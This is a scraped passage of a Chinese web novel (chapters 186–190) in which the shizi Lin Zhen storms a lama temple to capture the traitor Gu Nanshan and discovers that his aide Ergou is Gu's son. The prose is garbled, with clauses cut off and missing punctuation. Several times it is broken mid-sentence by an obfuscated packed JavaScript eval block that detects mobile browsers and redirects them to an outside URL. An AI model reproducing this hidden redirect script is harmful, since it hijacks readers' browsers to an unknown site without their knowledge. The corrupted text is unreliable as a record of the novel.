只要等到慕容嫣完婚林震仙把辽东的消息带回来顾家就是必死的局面毫无意外。 现在林臻只需要看着顾家的人别让他们跑了就好。 这一趟虽然没有顺利抓住顾南山但是也有一定收获。 那就是林臻终于把所有事情都缕清了。 顾南山为达目的选择与拜火教合作不仅将刘翰阳骗走还将他的产业也悉数骗走可谓一箭双雕之计无愧大阴人之名。 现在自己已经拆穿了他的阴谋那么他再想那么顺利的去南楚就没那么容易了。 刘翰阳家的房子是我的顾家的产业也是我的你顾南山别想把任何东西从大乾带走。 同时顾家的态度也很明显那就是准备对南楚投诚林臻留着顾家父子的命也是想让慕容嫣来下这个决定而已并非林臻可以确定在接下来的一个多月中顾家不会再有大的动作自己也能继续着手乾楚大战的事情。 话又说回来林臻暗暗有些后悔。 当初见到顾南山第一面的时候就应该一刀把他砍死的。 因为自己贪心想看顾家狗咬狗结果没看到狗打架反而凭空生出这么多事情来。 他奶奶的。 顾南山你到底藏哪了呢? 二狗失魂落魄的从喇嘛庙里走出来。 他仿佛没了灵魂那般步伐失稳踉踉跄跄全然没有了往日牛逼哄哄的气度。 他顺着青龙大街一路往南走浑浑噩噩也不知道心里在想些什么只依稀记得父亲说的那一句话。 “儿啊已经没有时间了为了家族为了我 顾不顾云霆的二狗不在乎唯有那句“干掉林臻”四个字如一把重锤一下一下敲击着他的心灵。 他不知道自己该怎么做了。 曾经的林臻吃喝嫖赌欺男霸女对自己也是拳脚相加随意辱骂。 而如今的林臻每每见到他二狗都会觉得很欢喜。 他喜欢听林臻对他说话他喜欢看林臻关心自己的表情。 这和爱情无关与友情有染。 “狗子吃饭了吗?” “狗子买点东西回来剩下的钱给你。” “二狗!他奶奶的老子让你办的事情怎么又忘了!自己去护卫营领罚!罢了免了吧!” “狗子你家里就没什么人了吗?唉可惜啊我还想着跟你父母商量商量给你寻一门好亲事呢。” 多日来林臻的一字一句在脑海中回荡与那句“干掉林臻”四个字形成胶着的对抗。 二狗痛苦的捂住脑袋竟然有一滴泪落下。 “世子.” “啊!!!呜呜呜呜.” 二狗跪在地上不管呼啸而过的马车与熙熙攘攘的人群掩着面嚎啕痛哭。 所有人都漠然地看着他没有人上前询问没有人上前安抚。 好像大家都对这样的场面司空见惯也好像大家对他腰间挂着的大刀噤若寒蝉。 唯有一双翠绿绣着白色牡丹的绣鞋出现在他模糊的视野当中伴随着清脆的嗓音。 “狗哥干什么呢?” 二狗抬起头看到了一张全世界最美的笑脸。 是晴雯。 他擦了擦眼泪站起来面对她那天真无邪的笑颜竟有些手足无措。 “晴雯小姐。” 晴雯水汪汪的大眼睛笑成月牙弯弯的形状:“哎呀~我都是世子内人了怎么还叫小姐?改了!叫夫人!!” 二狗动了动嘴。 “是晴雯夫人。” “嘻嘻嘻嘻~狗哥你有空没?帮我个忙!” “夫人请吩咐。” “过几天就是世子的生日了 “夫人的随从不是韩忠和黄鼠吗?” “嗐我买的有点多让他们先俩回去送东西啦。” “额是全听夫人吩咐。” “嗯!走吧!” 晴雯转身离去二狗这才看到一辆编号为壹叁壹肆的马车停在车道上。 晴雯蹦蹦跳跳地上车二狗正准备驾马却发现车辕上坐着一位脸色黝黑的车夫。 “这”他有些尴尬随即退下了去。 晴雯撩开车帘对他笑道:“狗哥还愣着干嘛快上来呀。” “末将不敢。” “哎呀什么敢不敢的,我要是没上位,不也是个丫鬟嘛,快上来吧。” 二狗始终不愿意上去,架不住晴雯连番劝慰,最 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二狗的脸都快憋成猪肝了,好在晴雯没有继续追问,看到街边的商铺后连忙喊马车停车。 “大勇,停车!” 原来今天是魏大勇给晴雯当车夫。 等马车停稳,二狗一个翻身就跳了出去,在地上滚了一圈,又瞬间站起,像刚的世界冠军的Faker似的。 晴雯也笑着从马车上蹦下来,两人一同走进铺子里。 二狗因为晴雯的出现,阴郁的心情一扫而空,终于恢复成往日的样子,痞里痞气地进门,把大刀往脖子上一扛。 “掌柜的!麻溜儿把你们这最好的布料拿出来!” “是是是,军爷,您稍等!”掌柜的吓得亲自蹦下柜台冲入库房。 晴雯见状笑着在二狗后背上拍了一下。 “还是狗哥厉害,早知道早让你来了!” “啊?”二狗指了指自己:“为什么?” “你不知道,这些商家啊,狗眼看人低!若不是我拿出王府的身份,他们都快把我给骗死了呢。” “他奶奶的!敢骗晴雯夫人,您说是谁,末将这就去把他腿剁下来烤着吃了!” “哈哈哈哈哈,狗哥!你真好!” “嘿嘿嘿嘿.”二狗憨笑着摸了摸后脑勺。 一切尽在不言中。 第186章 陛下,您该和妃子圆房了 转过天来早朝。 今天金銮殿的气氛有些沉闷。 因为林震仙远走辽东调查贪腐的事情顾云霆又因为面子里子丢得一干二净所以抱病在家。 没了两大重臣的牵头群臣也不知道应该上奏些什么才好毕竟最近除了林臻雨夜射杀丞相府兵和砍死工部侍郎儿子以外并没有什么大事发生。 慕容嫣像怀了孕似的慵懒地靠在龙椅上单手撑着美鬓心里不知道在想些什么。 慕容无舌见状高声喊道。 “陛下有旨有事起奏无事退朝。” 言官魏涛见没人敢站出来于是硬着头皮走出队列。 “陛下!” 慕容嫣昨天想着林臻的事情想到半夜此刻昏昏沉沉的只半眯着眼睛问道。 “爱卿有何事?” “启奏陛下陛下已登基一年有余尚未有龙子诞下此乃关乎我朝国运的大事还请陛下多多上心勤与后宫娘娘们交流争取早日诞下龙子。” 言官就是上谏的所以这样的话除了林震仙和顾云霆外也就他敢说出来。 此言一出群臣哗然立刻异口同声道:“臣等附议。” “你们.”慕容嫣当时就不困了。 她也知道子嗣重要可问题是怎么生啊! 大家同为女人就算把豆腐磨破了也造不出小孩来呀。 “咳咳。”慕容嫣实在没办法 “哦?” 群臣都有些纳闷。 进宫的大臣之女就那么几个人谁和陛下圆房了都不可能瞒得住。 魏涛又问道:“不知陛下是与哪位娘娘?” “这就没必要告诉你了吧?” “陛下!臣身为言官劝谏陛下是臣的职责还请陛下不要疏忽子嗣的重要性一定要” “够了!”慕容嫣说道:“朕今晚就挑选一名妃子圆房。” “陛下圣明.” 此言一出群臣悬着的心终于是放下了。 说到底百官如此在乎慕容嫣是否圆房就只为两件事情。 其一是为了自己家族的繁荣。因为选秀明天才会开始现在皇帝身边的妃子少说不定就能挑中自己家的闺女。一旦闺女幸运地产下龙子那也就是太子是日后的皇帝这对整个家族来说都是一颗坚实的定心丸。 其二是因为那天慕容嫣的束胸崩开了 。安静的大殿里传来那么突兀的声音百官心里也琢磨陛下到底是男是女这对他们的忠诚度来讲很重要毕竟从古至今没有女子当皇帝的先例。 别说武则天《女帝也是我的笼中雀》这本书里就没有原来的那些历史。 慕容嫣一气之下当众许诺再想反悔肯定是没机会了。 她怪嗔地看了看身边的嬛嬛不由的叹了口气。 难道说真的要把嬛嬛晋升成妃子?然后和她圆房? 看来眼下也只有这个办法了。 最重要的事情说完慕容嫣宣布退朝。 在去往议政殿的路上慕容嫣坐在步辇上思来想去还是觉得利用嬛嬛不妥当于是对身边的慕容无舌说道:“无舌林臻进宫了吗?” 慕容无舌昨天接到林臻的口信已经加强了对楚惜灵的防守现在三千御林军有八百都在衡芜院。 他弓着身子回答道:“回陛下没有。” “哼可恶你速速去王府传旨宣林臻进宫。” “遵旨。” 慕容嫣上早朝的时候林臻刚和晴雯晨练完毕小妮子浑身酥软地趴在林臻胸口披着头发吐气如兰一脸满足。 反观林臻则有些不对劲经过两天的晨练身体非但没有强劲反而脸色惨白越来越虚。 难道这就是传说中的被酒色掏空了身体? 不行得空必须得去找孙神医给瞧瞧再这么下去非断子绝孙不可。 晴雯哪里知道林臻心里想什么糯糯的轻启檀口:“世子~嘻嘻嘻以后我们天天都晨练好不好呀!” “不好快起来太阳都晒屁股了。” “哎呀起那么早又没什么事情妾身再陪您睡个回笼觉吧您不是最喜欢把头枕在妾身这里了吗?来~”晴雯把上半身凑上来。 林臻笑着香香最后还是坐了起来。 “还是起来吧一日之计在于晨。” 晴雯翻个白眼:“切~哪门子的混账话难道不是一日之计在于晨练吗? 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林臻想到什么,眼中瞬间闪过一抹阴狠! 随即很快消失不见,拍了拍晴雯乖巧的脑袋。 “晴雯乖,为夫要出去办点事情,你今天老老实实在家休息。” “啊?车马行也不去了吗?” “对。” 晴雯当然没有想其他,乖乖地点头道:“是,那妾身等下去找浣碧学女红,嘻嘻嘻~” 林臻把自己最后一丝笑脸交给晴雯,随即转身,阴冷之气再度降临。 他来到院子里。 “侯春!!” “在!” 一直守护在月亮门外的侯春立刻跑过来。 “立刻带兵包围喇嘛庙,不得放走一人!出了差错,提头来见!” “是!” 侯春还是第一次见到林臻对自己这个态度,忙跑了出去。 第187章 你们佛们老祖还真是大度 “等等! 林臻把侯春叫了回来,犹豫再三,他说道:“不要告诉二狗。 “啊侯春张大嘴巴,有些不解,但看着林臻那阴郁的神色终究不敢多问。 “是。 他匆匆离开。 林臻仰头望天,心中五味杂陈。 他几乎怀疑了所有人,包括一直不看好自己的韩忠、城府颇深的林安,可唯独没有怀疑过二狗。 那个有事总是冲在最前面,对自己嬉皮笑脸的好兄弟。 竟然背叛了自己。 内心的难过与悲伤,远远不是取一条人命就能弥补的。 如果今天顺利杀了顾南山,他会好好的问问二狗,究竟为什么。 为什么我对你如此恩宠,你却要叛我。 想清楚这些以后,林臻走出府门,直奔喇嘛庙而去。 然而让他没想到的是,刚刚出门,就见到急匆匆敢来的慕容无舌。 “世子请留步! 林臻本来想装作看不见他,谁知道这老东西眼神还挺好使,坐在马车里,当即把他叫住。 他几乎是从马车上飞下来的,像个巨大的蝙蝠,落在林臻面前。 “世子,您这么着急慌忙的是干什么去? 林臻态度异常冷淡。 “有事。 “世子,陛下急召您入宫呢,天大的事情也得先去见陛下啊。 “你去告诉陛下,等我办完了事情,自会去见她。 慕容无舌好像听到了这个世界上最离谱的话。 他当太监几十年,就连当年最如日中天的林震仙,都从来没说过这样的话。 他沉声道:“世子!你这可是抗旨! 林臻当然知道这是抗旨,但是他不在乎。 只要能抓到顾南山,就算被慕容嫣惩罚也值得,更何况是慕容嫣命令自己彻查拜火教一案。 “你回去告诉陛下,就说我有了拜火教的线索,她会理解我的。 言罢林臻带着军士转头就走。 独立慕容无舌愣在原地:“这 给皇帝当了一辈子差,还没见过这样的事情。 他身边的小太监问道:“公公,我们怎么办? “唉你先回去吧,向陛下如实禀报,我跟着去看看。 “是。 喇嘛庙内。 禅院中,堪布清远大师与顾南山在蒲团上先对而坐,另有一黑衣女子手持长剑,靠在墙角的黑暗之中,她的衣服 与周围融为一体,唯有宝剑泛着寒芒,闪闪发光。 清远大师说道:“这场博弈,是老衲输了,拜火教的人果然厉害。” 顾南山说道:“呵呵呵,那一百零八个姑娘可都回来了?” “回来了,只可惜朝廷不作为,否则老衲岂会用一百零八处女来引诱拜火教入局?如今功亏一篑,武僧折损近千,拜火教在南边势如破竹,已经没有我佛门立足之地了。” 就是因为知道了内情,所以顾南山才愿意与拜火教合作,而不是佛教。 但是他不敢当着清远大师的面说出来。 一旦让他老人家知道自己师弟竟然与佛门劲敌合作,他肯定会把顾南山扔出去的。 顾南山笑着饮下一杯清茶:“嗯,不妨事。等我出去了,必定会大力宣扬佛门经典。” “昨天佛诞腾不出空来,还没问你,你到底是怎么惹上林臻的?” “哼。”顾南山冷哼一声,“像他那样的人,想杀我还需要理由吗?” “非也,老衲见林臻已绝非以前纨绔,断不会无缘无故杀人。”清远大师竟难得露出一抹惆怅之色:“师弟啊,你心高气傲又算无遗策,但总这么算计下去也不是个长久之计,乱世红尘迷人眼,高堂富贵万人枯。当知好就是了,了就是好。不如随我皈依佛门,得大自在。” 每次来喇嘛庙的时候,清远大师都会这么说,顾南山听得耳朵根都快起茧子了。 但现在是逃难,又寄人篱下,所以他不好发作。 这时,他身后的雷影仙子不咸不淡地说道:“若世人都皈依佛门,我们喝西北风啊?” “雷影施主,放下屠刀立地成佛。你就是因为杀孽太重,所以才有此一遭。” 雷影仙子不免冷嘲热讽起来:“呵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789320|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拿起刀杀人,放下刀成佛,你们佛祖还真是大度。” “若非我佛慈悲,你能在此处歇脚吗?” “且。”雷影仙子翻个白眼不言语了。 和出嫁几十年的老僧耍嘴皮子,纯纯自讨苦吃。 顾南山问道:“雷影,你可知道外面情况如何了?” “全城都已经戒严了,兵马司,城防卫以及驻扎在城里的龙骧营悉数出动,非要抓你不可。”说到这雷影仙子笑了一下,“呵呵呵,其实我也蛮好奇,你是怎么惹到林臻的。据我所知,这纨绔可从来没发过这么大脾气。” “这与你无关,你只需要把你欠我的,还给我就行了。” “知道知道。”雷影仙子显得有些漫不经心,“你放 我一马,我自然也会帮你一次,否则我早就走了,才不会在京城这是非之地呢。” “你可有逃出去的办法?” “没有。”雷影仙子摇头道,“要我说,你就老老实实在这住几天,反正他们喇嘛也吃肉,亏不着你,等风声过了再说。” 雷影仙子光只长奶不长脑子,听她的话,裤衩都穿不上。 还等下去现在这种情况,多等一天就会多生出很多变故。 昨天顾南山还在想要不要乔装成百姓或者商贾,趁乱出去。 但思来想去觉得不妥。 于是他想出一个非常狠辣的计策,那就是让二狗杀了林臻。 虽然二狗是他隐藏最深的一步棋,本打算在乾楚大战的时候再施展的,不过如今能助他顺利逃脱,也算物尽其用了。 但光死一个林臻还不够,因为林震仙不在京城,乱不起来。 所以他又同时命令李蕊干掉顾云霆! 一个丞相。 一个王府世子。 在同一天双双毙命。 这对任何国家来说,都是巨大的动荡,届时自己就可以趁乱逃出去了。 所以现在需要做的,就是等消息,想来也应该差不多了吧。 就在顾南山准备再喝一口茶时,两门武僧突然闯入禅房。 “堪布!林臻带兵来了!” 第188章 胆敢阻拦者,杀无赦! 顾南山顿时吓得魂飞魄散! 他站起来喊道:“什么!?来了多少人?” 武僧也十分紧张攥着木棍的手骨节泛白。 “不知道好像全城的兵马都来了乌央乌央的已经将庙围了个水泄不通!” “完了.完了”顾南山颓然坐在地上。 清远大师念了声佛号:“阿弥陀佛师弟稍安勿躁 清远大师仗着皇家宠爱多年来对谁都是平平淡淡的样子殊不知今天这种情况别说他一个和尚就是慕容嫣站在庙门前面为顾南山作保林臻也照杀不误! 这时顾南山看向依旧坐在那里的雷影仙子:“雷影你有办法带我出去吗?” “难。”雷影仙子只回了一个字但在顾南山看来却犹如天籁。 “意思就是有可能?” “如果林臻队伍里有轻功高手我们就走不掉。如果没有尚有一线生机。” “你要怎么做?” 雷影仙子站起来冷面寒霜的看着顾南山从袖子里掏出一枚烟火。 这是打算叫人了。 顾南山眼睛一亮。 “对啊我怎么没想到呢你可以喊天道的人来帮助我们制造混乱!”他对雷影仙子拱手道:“雷影多谢了!” “从今往后你和天道互不相欠。” “嗯互不相欠。” 喇嘛庙门口。 林臻命令侯春上前砸门可无论怎么砸对方就是不开。 林臻气得跳着脚大骂。 “这帮臭秃驴也学会看人下菜碟了!看胖子不在欺负我脾气好是不是!?来人用攻城锤把门给老子砸开!” “是!” 黄鼠、侯春大吼一声联合韩忠等悍将从队伍后面推过来一个巨大的攻城锤锤子上用铁浆包裹沉重无比。 十个人合力将攻城锤推到庙门前林臻一声令下:“给我砸!” 嗡—— 砰—— 庙门瞬间被砸断带着嘎吱吱的声音向内倾倒。 “哇呀!!” 站在后面抵庙门的和尚瞬间作鸟兽散。 轰—— 庙门倒地林臻抽出长刀大吼一声。 “城防卫地在此守门不得放走一人!其余都给老子冲进去!谁能拿到顾南山的首级赏百金!” “杀啊!!!” 听说有百两黄金龙骧营将士们瞬间红了眼睛。 这 可是他们不吃不喝上百年才能赚来的钱啊! 足够让自己抛头颅 更别说还是跟着世子这样的大靠山简直就是没本的买卖! 哪知刚刚冲到大雄宝殿门前的大院里就看到上百名拿着长棍的武僧中间站在一个头戴念珠的老和尚。 这下龙骧营将士们不敢乱动了。 不是因为对面是和尚而是那老头岁数也太大了吧! 胡子都是全白的。 这样的人见了皇帝都不用下拜! “猴子阿忠怎么办?”黄鼠见此情景不知该如何是好其余两人也是脑袋冒汗。 这样的活神仙可没有人敢杀甚至把他气死在场的各位都免不了受牵连。 这时林臻走了进来见大家都在这里傻站着恼怒地吼道。 “还愣着干什么呢?” “世子您快看!”侯春指向清远大师的方向。 林臻看见清远大师白白的胡子和枯槁的面容也是微微一愣。 但是他可没有像其他人那样的感觉如果这个和尚与顾南山是同党别说他一百岁就是五百岁林臻也杀定了。 “老和尚把顾南山交出来我不为难你。” 清远大师明显不在乎林臻的威胁他念了声佛号双手合十:“阿弥陀佛林世子放下屠刀回头是岸。” “桀桀桀桀。”林臻笑了笑。 他不打算和这种老顽固讲道理因为根本讲不通自己也没那么多时间。 他伸出三根手指头:“老和尚我只数到三!如果你不交出顾南山今天我就血洗你喇嘛庙。” 同时他吩咐身后的龙骧营将士:“弓箭手准备!” “一!” “二!” 喊道“二”的时候清远大师包括所有武僧依旧不动。 林臻神色一冷。 这可是你们自找的。 顾南山我今天是杀定了! “三!” “放箭!” 清远大师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789321|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能也是想到林臻居然真的敢放箭!而且没有一丝一毫的犹豫! 天呐这可是皇家寺庙你林臻难道真的要造反不成吗? 没有机会给清远大师说话密密麻麻的箭矢已经铺天盖地地射向武僧们。 “嗖嗖嗖!!!” 噗噗噗噗—— “啊!!” “额!快护送堪布走啊!”清远大师被一名武僧扑倒在地。 其实他不 扑倒也没问题,因为压根就没有箭矢是奔着他去的。 数名武僧见状,立刻抡起长棍,将箭矢打掉,然后疯了似的朝林臻奔来。 “这群人渣,贫僧和你们拼了!!” “杀。”林臻连看都没看他一眼,直接下令。 嗖嗖嗖—— 噗! “额啊!”几名武僧瞬间被万箭穿心,死得不能再死。 上百名武僧瞬间死了一多半,剩下的护送着清远大师往大雄宝殿而去。 林臻一挥手:“冲进去,抓住顾南山!胆敢阻拦者,别管他多大岁数,杀无赦!” “是!” 躲在远处见到这一幕的顾南山吓得后脊梁骨发麻。 林臻是真下了狠心啊! 连和尚都杀! 看来自己今天是在劫难逃了。 唉,为什么啊,二狗为什么没能把他杀掉啊! 就在此时,天空一声巨响! “砰!” 林臻抬头望去,竟是一朵火红色的莲花图案! 侯春说道:“世子,是天道的支援信号!” “呵。”林臻冷笑,“呵,好啊,如果他们敢来,今天就一并收拾!” 他可是不光带了龙骧营,还有城防卫、兵马司,以及巡逻营共计数千将士。 如果连一个喇嘛庙都拿不下,他干脆也别活了,给林家留点脸面吧。 将士四散而开,只留韩忠、黄鼠、侯春以及铁柱四人护卫着林臻,很快就有消息传了回来。 “世子!禅房那边被包围住了,顾南山就在里面!” “甚好。”林臻露出一丝嗜血的笑容。 这个狗日的顾南山,你跑不掉了。 第189章 雷影仙子又被拍飞了 禅房门口的庭院内挤满了人。 龙骧营将士们一个个手持长刀、弓箭,凶神恶煞宛若地狱邪神般的,将顾南山和雷影仙子以及他们的一种护卫围挡在禅房门口。 护卫们对顾南山十分忠心,就是这样程度的包围与压力,竟然没有一个人投降。 可见顾南山还是很会收买人心的。 也不排除他动用顾府的钱财,暗暗在背地里培养死士。 这些才不是龙骧营将士应该管的事情呢,他们张弓搭箭,攥紧长刀,站在顾南山的对立面。 双方剑拔弩张,一触即发。 就在这时,寺庙的钟敲了三下,惊起一片飞鸟。 鸟散后,龙骧营士兵们自动分开一条路,林臻从中走了进来。 顾南山看到那张熟悉而又年轻的脸,离自己越来越近,带着冷笑与不羁,意气风发如当年自己,不由得生出几分悲凉之意。 如果自己当年也像他这么有权势就好了。 凭我的头脑,凭我的智慧,何愁大事不成? 而绝不会像你一样,明明手握重兵却甘愿当皇帝的鹰犬! 可惜啊!我顾南山生不逢时,遇不到明主,最后不得不与拜火教合,落得如此下场。 如果真的有如果。 顾南山希望自己早一步离开京城,早一点远离这个是非之地,而不是等到林臻来抓他。 眼下禅房已经被他们包围,而且又全都是弓箭手,自己寡不敌众,想来死期已到。 林臻站在人群最前面,负手而立,满眼怒火的盯着顾南山。 “顾南山,还不束手就擒?” 顾南山不甘心就这么死,他回复道:“林臻!我顾南山自问从没有与你过不去,你为何非要置我于死地?” 这是顾南山最好奇的事情。 他自认为自己所做的一切都非常隐蔽,像与拜火教合作,杀林臻,杀顾云霆,这都是机密中的机密,根本不会有人泄密,林臻也根本不会有所察觉。 那他到底是怎么知道这一切的呢? 林臻话语字字铿锵:“顾南山,当你与拜火教勾结,谋害朝廷官员,欺凌百姓,意图造反的时候,你就已经死定了!少废话,我只数到三,你若不投降,今天就将你万箭穿心!” 言罢林臻再次伸出手指,大吼道:“一!” 话音刚落,顾南山神色一凛:“干了他!” 十余名护卫立刻像打了鸡血似的,提着长刀冲上来,不知道的还以为林臻和他们有杀父之仇呢。 “杀啊!!” 林臻一挥手。 身后几十名弓箭手立刻箭矢离弦。 嗖嗖嗖—— 一阵令人牙酸的弦音共振传来紧接着是护卫们的惨叫。 “啊!!” 密密麻麻的箭矢没有丝毫阻挡射在他们胸口。 没有铠甲的阻碍锋利的箭头直接将他们射穿几乎每个人身上都插满了箭矢! 看似厉害健壮的护卫 一轮冲锋。 不到一分钟全部死亡。 场中只剩下雷影仙子与顾南山两个人。 直到现在林臻才注意到雷影仙子。 他微微一愣心道好漂亮的女人。 个子高腿长小脚消瘦目光清冷俊朗飒爽颇有当年范爷之姿。 可惜啊卿本佳人奈何为贼呢? 如此美人竟与顾南山沆瀣一气蛇鼠一窝。 既然如此那可就别怪我了。 林臻看了看地上的死尸露出一抹狞笑。 “呵呵呵呵顾南山我最后再你一遍。”林臻加大音量:“投不投降?” 顾南山咬牙:“林臻.” “唉我实在是看不下去了。”雷影仙子轻描淡写地说了句话然后走出来抽出长剑两指夹住鬓边秀发轻轻一捋如仙子下凡美轮美奂。 她走到场中央长剑指地叱问林臻。 “堂堂王府世子居然和一个奴才过不去。林臻你不觉得丢人吗?” 林臻反问:“你是谁?” “我乃天道十二仙之一雷影仙子!林臻” “放箭。” 林臻根本就不跟你多废话。 我管你什么天道地道的?敢拦在我面前就是死! 嗖嗖嗖—— 说时迟那时快箭矢转瞬即来带着呼啸的风声。 “什么!?”雷影仙子也想不到林臻居然说动手就动手。 她美目瞪起神色一凛眼睁睁看着无数箭矢向自己射来。 就在即将射中她的瞬间她娇喝一声! “给我破!” 只见雷影仙子骤然跃起手中长剑在空中不断挽出剑花竟将所有射向她的箭矢尽数打落在地! 叮叮叮—— “卧槽。”林臻忍不住骂了句国粹。 这么牛逼的吗? 不仅仅是他就连侯春等人都看傻了。 大家也算是 战场上的佼佼者不说杀人如麻却也见过些世面。 但仅凭一柄长剑就能打落所有箭矢的高手他们还是第一次看到。 侯春咽了口唾沫艰难地看向林臻:“世子.这娘们有点猛啊。” “是有点猛。”林臻在震惊过后变现的比雷影仙子还要淡然他点点头“就是不知道他和八牛弩比起来谁更猛来人!把八牛弩给老子拉上来!” “是!” 雷影仙子虽然手臂震得发酸但十分得意。 听见林臻的话顿时吓得魂飞魄散! 用八牛弩打我? 这不大炮打蚊子吗? 你可真是人啊! “林臻!你也太不讲武德了有种上来我和决斗!” “有病吧?我一介文人和你这种侠客决斗?立刻组装八牛弩射死她!” “是!” 韩忠、黄鼠等都是有组装八牛弩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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与此同时,林臻的目光再次转向顾南山。 只见他正双手扒着墙头,双脚墙上乱蹬,准备爬上出去。 林臻笑着看他,轻轻挥手:“瞄准顾南山。” “放箭!” 嗖嗖嗖—— 顾南山见箭矢奔自己而来,本能的闭上眼睛,可一秒过后发现身上并不疼。 他纳闷地向下看去,就见二狗那张年轻的脸庞写满了焦急,浑身插满箭矢,双手死死托着他的脚! 他声嘶力竭地大喊:“爹!快走啊!!” “二狗!!” 第190章 原来不是花.......是她...... “二狗!” 一声凄厉的喊叫传来,林臻还不知道发生了什么事情。 他只看到一个人影从禅房深处窜了出来,速度很快,死死将顾南山护在身面,那只属于龙骧营的黑色铠甲上插满了箭矢。 待顾南山喊出来的时候,林臻才知道,那人是二狗。 “二狗!” “狗哥!” 在场所有将士都认识二狗,也都跟这个搞笑且仗义的好哥哥关系不错,当看到自己手中的箭矢射到他身上时。 他们心如刀绞,都不明白这到底是为什么。 林臻更是连眼圈都红了。 他一直都不明白,二狗为什么会背叛自己,现在他知道了。 原来二狗竟然是顾南山的儿子。 造化弄人啊。 曾经与自己朝夕相处、无话不谈的好兄弟,竟然是自己头号敌人的儿子! 场中,龙骧营将士们纷纷放下弓箭,没有再动,而林臻也没有再下命令。 只见二狗死死托着顾南山的脚,把他往墙头上送,口中鲜血喷涌,依旧大喊。 “爹!快走啊!” “狗子!”顾南山也没想到会是二狗出现救了自己。 但是他只有震惊,并没有心疼。 像他这样的人,早就没有了儿女情长,脑海中唯有活下去与完成自己的理想。 “走啊!!”二狗使出浑身解数,一把将顾南山推落墙头,随即自己栽倒在地。 林臻见状,迅速反应过来,对慕容无舌说道:“无舌先生,拜托你了。” “呵,想在杂家的手里跑掉,痴人说梦!”言罢他三步并两步来到墙根下面,双腿用力,像只大蝙蝠似的翻越三米多高的墙头,消失在骄阳之下。 二狗倒在了地上,林臻和所有龙骧营的士兵都冲了过去。 他抱起二狗,盯着他不算姣好的面容,竟然一行泪落下。 “二狗!!二狗!!”林臻向天大喊,“啊!!!这到底是为什么!!啊!!!” 其实林臻内心是十分喜欢二狗的,即便在知道他背叛以后,也没有想过要杀他。 他不了解顾南山与二狗的感情,也不知道顾南山给二狗下了什么命令。 但至少,从林臻穿越过来后,二狗从没有害过他。 二狗喷出一口血沫子,笑着看了看林臻。 “.世子,忠孝两难全二狗对不住您。” 林臻都快疯了! “少他妈废话!来人!赶紧把他送 到孙神仙那里去!” “是!” “来不及了!” 人群中传来这四个字,林臻当即就怒了。 他倒要看看,是谁敢阻拦他救自己兄弟! 他望向人群,只见清远大师单手成十,满脸暮然地走了过来。 林臻眼中杀意迸现。 如果不是这老秃驴,顾南山早就死了,绝不会坑了二狗! 清远大师念了声佛号,竟在林臻面前跪了下来。 快一百岁的人给二十多岁的林臻下跪,这是要折寿的。 但林臻就这么看着他,丝毫没有劝解之意。 “阿弥陀佛。林世子,老衲受贼人蒙蔽,不知顾南山竟与拜火教勾结,犯下此等大错,本罪无可恕。但孙之推在东市,如果将他送过去,恐怕来不及了,但为了这位小将军,也为了能让老衲赎罪一二,老衲愿意施以援手。” 林臻斩钉截铁地回答:“好,只要你能救回二狗,我林臻从此不为难僧人。” 清远大师又念了声佛号,从怀里掏出个小瓶子,又命令人将二狗的铠甲脱下。 也幸好二狗穿着铠甲,箭矢只进入到他身体几寸,并没有贯穿,否则神仙难救。 清远大师将褐色粉末,均匀洒在二狗那密密麻麻的伤口上,随即说道。 “快些将他抬到禅房里。” “是!” 侯春等人立刻抬着二狗进屋。 而林臻却没有进去。 他只是蹲在地上,痛苦地抓住脑袋。 真是人算不如天算啊。 本来万无一失的抓捕行动竟然因为雷影仙子和二狗,出现这么大的变故。 如果这次抓不到顾南山,以后再想抓恐怕就更难了。 所以,他需要时间,想一个万全之策。 禅房内,二狗抓住侯春的手,上气不接下气的说道:“猴子.我对不起大家消息是我出卖的。不用救我了就让我一死,来报答世子的恩情。” “放屁!”侯春挺大个人哭得像个月子里的娃:“想报答世子恩情,你就得好好活下去!为了一个湮灭人性的父亲,你这样做值得吗?” “我别无选择,因为我出现在世子身边的唯一目的,就是要暗杀他!可是我下不去手。” 清远大师说道:“这位施主,请不要再说话了,否则伤口还会流血。” 韩忠也红着眼睛说道:“狗子,你用一命抵了顾南山的命,从此你不欠他的了。但是你欠世子的!你只有努力活下去,今后为世子 尽心尽力,这才是报恩!” 黄鼠跪在炕边:“狗哥,别走,我求求你.你别走.我们还说好了要一起去燕来楼玩娘们呢!呜呜呜呜” 二狗望着空洞的天花板,突然说道。 “好多花儿啊好美啊.” “狗哥!” “狗子!” “咦?原来不是花是她” 二狗脑海中不由得浮现出晴雯那大大的笑脸。 缓缓闭上了眼睛。 另一边,慕容无舌翻越墙头,借助墙体的力量,一掌直取顾南山。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 